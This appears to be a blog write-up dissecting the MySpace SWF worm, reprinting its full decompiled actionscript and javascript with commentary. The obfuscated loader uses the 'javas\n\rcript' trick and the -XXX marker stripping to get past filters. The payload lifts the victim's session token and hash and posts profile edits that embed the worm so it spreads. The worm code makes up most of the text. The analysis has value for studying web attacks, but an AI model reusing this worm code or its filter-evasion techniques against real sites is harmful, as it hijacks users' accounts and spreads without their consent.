How the myspace SWF hack worked

  • How the myspace SWF hack worked
    
    First note: I DID NOT MAKE THE HACK. I simply downloaded the .swf's, decompiled them, looked at the actionscript, worked out what it did, found the Javascript that it uses, and tidied it up & commented it. I've probably got some bits wrong, feel free to contact me and I'll update this page
    
    When you visited an already infected page, there was an SWF embedded ("redirect.swf") which contained the actionscript:
    
        getURL("http://editprofile.myspace.com/index.cfm?fuseaction=blog.view&friendID=93634373&blogID=144877075", "_self");
    
    Which is pretty self explanatory - it opened the blog URL which you got redirected to.
    
    On the blog url which you got redirected to, there was another SWF embedded, called "retrievecookie.swf". This contained:
    
        getURL("javas\n\rcript: var x = new ActiveXObject(\'Msxml2.XMLHTTP\');x.open(\'GET\',\'
    http://editprofile.myspace.com/index.cfm?fuseaction=user.HomeComments&friendID=93634373\',true);
    x.onreadystatechange=function(){if (x.readyState==4){var pg=x.responseText;var sc=pg.substring(pg.indexOf(\'BX-\')+3,pg.indexOf(\'-EX\'));while((sc.indexOf(\'
    \')!=-1)||(sc.indexOf(\'-XXX\')!=-1)){var n=sc.indexOf(\'
    \');if(n==-1)n=sc.indexOf(\'-XXX\');sc=sc.substring(0,n)+sc.substring(n+5,sc.length);};" + "eval(sc);}};" + "x.send(null);", ""); Which looks pretty obfuscated, however, when you space it out and add comments: getURL(" javas\n\r cript: //this translates in the browser to: "javascript:" //which myspace really should have blocked now. var x = new ActiveXObject(\'Msxml2.XMLHTTP\'); // loads a new xmlHTTP object, sets it as var "x" x.open(\'GET\',\'http://editprofile.myspace.com/index.cfm?fuseaction=user.HomeComments&friendID=93634373\',true); // This opens yet another blog post, at the URL above. The text of the URL is below x.onreadystatechange = function() // when the readystate of the xmlHTTP object changes: { if (x.readyState==4) // once the state changes to complete (it goes from 0 to 4, iirc) { var pg = x.responseText; // the code it got from the page var sc = pg.substring(pg.indexOf(\'BX-\')+3,pg.indexOf(\'-EX\')); // loads into "sc" the contents of the response text from the place where // the end of "BX-" (that's the +3) is first encountered up until it finds the start of // "-EX", this is all the nasty JS. while ( (sc.indexOf(\'
    \')!=-1) || (sc.indexOf(\'-XXX\')!=-1) ) // while "sc" (the code) doesn't contain "
    " or "-XXX" then: { var n=sc.indexOf(\'
    \'); // n is the start of where it finds "
    " in "sc" if (n==-1) n=sc.indexOf(\'-XXX\'); // if it cant find "
    , then make n where it can find "-XXX" // thist bit next was really quite clever, it manages to keep the > closing bracket for // the embed tag, which it needs, and creates the embed tag by removing // XXX's and leaving the final character! sc = sc.substring(0,n)+sc.substring(n+5,sc.length); // sc is now from the start, to n. // then add on to sc the bit from n+5 to the end of sc, // essentially, this cuts out the crap from the blog post it pull. // the crap was in there in the first place to get past myspace's filters, I presume. }; // this iterates through and removes the -XXX's from the blog post " + "eval(sc); // evaluate "sc" - this is what does it all. } // end of readystate==4 "if" }; //end of function " //closing the quote from the SWF getURL() function + " x.send(null); // adds on sending "null" to the xmlHTTP object. ", "" // no target, so it just executes. );// end of SWF getURL function. In essence, it pulls a blog post from somewhere else on myspace, and evaluates the code that it contains. This is the post: BX-var msg='-XXXX<-XXX
    XE-XXXXM-XXXXB-XXXXE-XXXXD-XXXX src="http://i105.photobucket.com/albums/m225/yrkblack/redirect.swf">BY SPAIRLKAIFS';function paramsToString(AV){ var N=new String(); var O=0; for(var P in AV){if(O>0){N+='&'}var Q=escape(AV[P]);while(Q.indexOf('+')!=-1){ Q=Q.replace('+', '%2B')}while(Q.indexOf('&')!=-1){ Q=Q.replace('&', '%26')}N+=P+'='+Q;O++ } return N};function getToken(page){ var start = page.indexOf('Mytoken='); token = page.substring(start+8, start+8+36); return token;};function getHashCode(page){ var start = page.indexOf('name="hash" value="'); hash = page.substring(start+19, start+19+216); return hash;};var xmlht-XXXXtp = x;var post = new Array();post['submit']='Preview';post['interest']=msg; post['interestLabel']='aboutme';var postsz = paramsToString(post); var token = getToken(xmlhttp.responseText);xmlhttp = new ActiveXObject('Msxml2.XMLHTTP');xmlhttp.open('POST', 'http://editprofile.myspace.com/index.cfm?fuseaction=profile.previewInterests&Mytoken='+token, true);xmlhttp.setRequestHeader('Content-Type', 'application/x-www-form-urlencoded');xmlhttp.setRequestHeader('Content-Length', postsz.length);ev-XXXXal('xmlhttp.onreadys-XXXXtatechange=editReady;');xmlhttp.send(postsz);function editReady(){if (xmlhttp.readyState==4){post = new Array();post['submit']='Submit';post['hash']=getHashCode(xmlhttp.responseText); post['interest']=msg;post['interestLabel']='aboutme';postsz = paramsToString(post); token = getToken(xmlhttp.responseText); xmlhttp = new ActiveXObject('Msxml2.XMLHTTP');xmlhttp.open('POST', 'http://editprofile.myspace.com//index.cfm?fuseaction=profile.processInterests&Mytoken='+token, true);xmlhttp.setRequestHeader('Content-Type', 'application/x-www-form-urlencoded');xmlhttp.setRequestHeader('Content-Length', postsz.length);xmlhttp.send(postsz);}};-EX Tidied up (and -XXX's, etc) removed + commented: var msg='BY SPAIRLKAIFS'; // the message itself. function paramsToString (AV) { var N=new String(); var O=0; for (var P in AV) { if (O>0) { N+='&' // if it's not the first iteration, add "&" to the value, as to seperate the values. } var Q=escape(AV[P]); while (Q.indexOf('+')!=-1) { Q=Q.replace('+', '%2B') //replaec "+" with "%2B" - url encoding basically } while (Q.indexOf('&')!=-1) { Q=Q.replace('&', '%26') // same again, except for "&". } N+= P + '=' + Q; O++ } return N }; // this turns a list of parameters in an array into a URL encoding string. function getToken (page) { var start = page.indexOf('Mytoken='); token = page.substring(start+8, start+8+36); return token; }; // gets your token, since you're on myspace already, your token is (unfortunately) in the URL.. oops. function getHashCode (page) { var start = page.indexOf('name="hash" value="'); hash = page.substring(start+19, start+19+216); return hash; }; // gets your hash code, which is supposed to be a security measure // again, since you're on myspace.com - it's in the URL. Nice one myspace. var xmlhttp = x; var post = new Array(); post['submit']='Preview'; post['interest']=msg; post['interestLabel']='aboutme'; // loads the payload (the "msg" var), and other bits into an array called "post" var postsz = paramsToString(post); // from the functione arlier, turns the "post" array into a string. var token = getToken(xmlhttp.responseText); // gets your token xmlhttp = new ActiveXObject('Msxml2.XMLHTTP'); // new xmlHTTp object. xmlhttp.open('POST', 'http://editprofile.myspace.com/index.cfm?fuseaction=profile.previewInterests&Mytoken='+token,true); // opens the profile interest modifcation .. bit through a xmlHTTP object. xmlhttp.setRequestHeader('Content-Type', 'application/x-www-form-urlencoded'); // sends a HTTP header, which is that it's about to send a url encoded form. xmlhttp.setRequestHeader('Content-Length', postsz.length); eval('xmlhttp.onreadystatechange=editReady;'); // evaluates the function below when the readystate changes. xmlhttp.send(postsz); // sends it - which modifies your profile to include the contents of the msg var function editReady() { if (xmlhttp.readyState==4) { post = new Array(); post['submit']='Submit'; post['hash']=getHashCode(xmlhttp.responseText); post['interest']=msg; post['interestLabel']='aboutme'; postsz = paramsToString(post); token = getToken(xmlhttp.responseText); xmlhttp = new ActiveXObject('Msxml2.XMLHTTP'); xmlhttp.open('POST','http://editprofile.myspace.com//index.cfm?fuseaction=profile.processInterests& Mytoken='+token,true); xmlhttp.setRequestHeader('Content-Type', 'application/x-www-form-urlencoded'); xmlhttp.setRequestHeader('Content-Length', postsz.length); xmlhttp.send(postsz); } }; Which is then all evaluated by the first load of JS. So there you have it. PS: To the author, that's some clever code, nice one - I probably shouldn't be congratulating you, but hey.